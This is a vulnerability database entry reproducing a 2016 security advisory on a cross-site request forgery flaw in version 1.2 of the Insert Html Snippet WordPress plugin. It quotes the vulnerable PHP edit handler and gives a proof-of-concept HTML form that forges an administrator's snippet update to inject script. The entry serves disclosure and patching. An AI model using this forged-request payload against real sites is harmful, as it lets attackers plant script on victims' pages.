Lucene search
K

WordPress Insert Html Snippet 1.2 Cross Site Request Forgery

🗓️ 29 Nov 2016 00:00:00Reported by Yorick KosterType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 33 Views

WordPress Insert Html Snippet 1.2 Cross Site Request Forgery vulnerabilit

Code
`------------------------------------------------------------------------  
Cross-Site Request Forgery in Insert Html Snippet WordPress Plugin  
------------------------------------------------------------------------  
Yorick Koster, July 2016  
  
------------------------------------------------------------------------  
OVE ID  
------------------------------------------------------------------------  
OVE-20160724-0027  
  
------------------------------------------------------------------------  
Abstract  
------------------------------------------------------------------------  
It was discovered that the Insert Html Snippet WordPress Plugin is  
vulnerable to Cross-Site Request Forgery. Amongst others, this issue can  
be used to update an existing HTML snippet. This can be used to insert  
arbitrary HTML and scripting code within a post or page that uses the  
snippet. In order to exploit this issue, the attacker has to lure/force  
a logged on WordPress Administrator into opening a malicious website.  
  
------------------------------------------------------------------------  
Tested versions  
------------------------------------------------------------------------  
This issue was successfully tested on Insert Html Snippet WordPress  
Plugin version 1.2.  
  
------------------------------------------------------------------------  
Fix  
------------------------------------------------------------------------  
This issue has been addressed in Insert Html Snippet version 1.2.1.  
  
------------------------------------------------------------------------  
Details  
------------------------------------------------------------------------  
https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_insert_html_snippet_wordpress_plugin.html  
  
This issue exists because Insert Html Snippet lacks protection against Cross-Site Request Forgery attacks. See for example the code that is used to edit a snippet.  
  
if(isset($_POST) && isset($_POST['updateSubmit'])){  
  
// echo '<pre>';  
// print_r($_POST);  
// die("JJJ");  
$_POST = stripslashes_deep($_POST);  
$_POST = xyz_trim_deep($_POST);  
  
$xyz_ihs_snippetId = $_GET['snippetId'];  
  
$temp_xyz_ihs_title = str_replace(' ', '', $_POST['snippetTitle']);  
$temp_xyz_ihs_title = str_replace('-', '', $temp_xyz_ihs_title);  
  
$xyz_ihs_title = str_replace(' ', '-', $_POST['snippetTitle']);  
$xyz_ihs_content = $_POST['snippetContent'];  
  
if($xyz_ihs_title != "" && $xyz_ihs_content != ""){  
  
if(ctype_alnum($temp_xyz_ihs_title))  
{  
$snippet_count = $wpdb->query($wpdb->prepare( 'SELECT * FROM '.$wpdb->prefix.'xyz_ihs_short_code WHERE id!=%d AND title=%s LIMIT 0,1',$xyz_ihs_snippetId,$xyz_ihs_title)) ;  
  
if($snippet_count == 0){  
$xyz_shortCode = '[xyz-ihs snippet="'.$xyz_ihs_title.'"]';  
  
$wpdb->update($wpdb->prefix.'xyz_ihs_short_code', array('title'=>$xyz_ihs_title,'content'=>$xyz_ihs_content,'short_code'=>$xyz_shortCode,), array('id'=>$xyz_ihs_snippetId));  
  
In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.  
  
Proof of concept  
  
<html>  
<body>  
<form action="http://<target>/wp-admin/admin.php?page=insert-html-snippet-manage&action=snippet-edit&snippetId=1&pageno=1" method="POST">  
<input type="hidden" name="snippetId" value="1" />  
<input type="hidden" name="snippetTitle" value="Fu" />  
<input type="hidden" name="snippetContent" value="<script>alert(1);</script>" />  
<input type="hidden" name="updateSubmit" value="Update" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
  
------------------------------------------------------------------------  
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its  
goal is to contribute to the security of popular, widely used OSS  
projects in a fun and educational way.  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Nov 2016 00:00Current
7.4High risk
Vulners AI Score7.4
33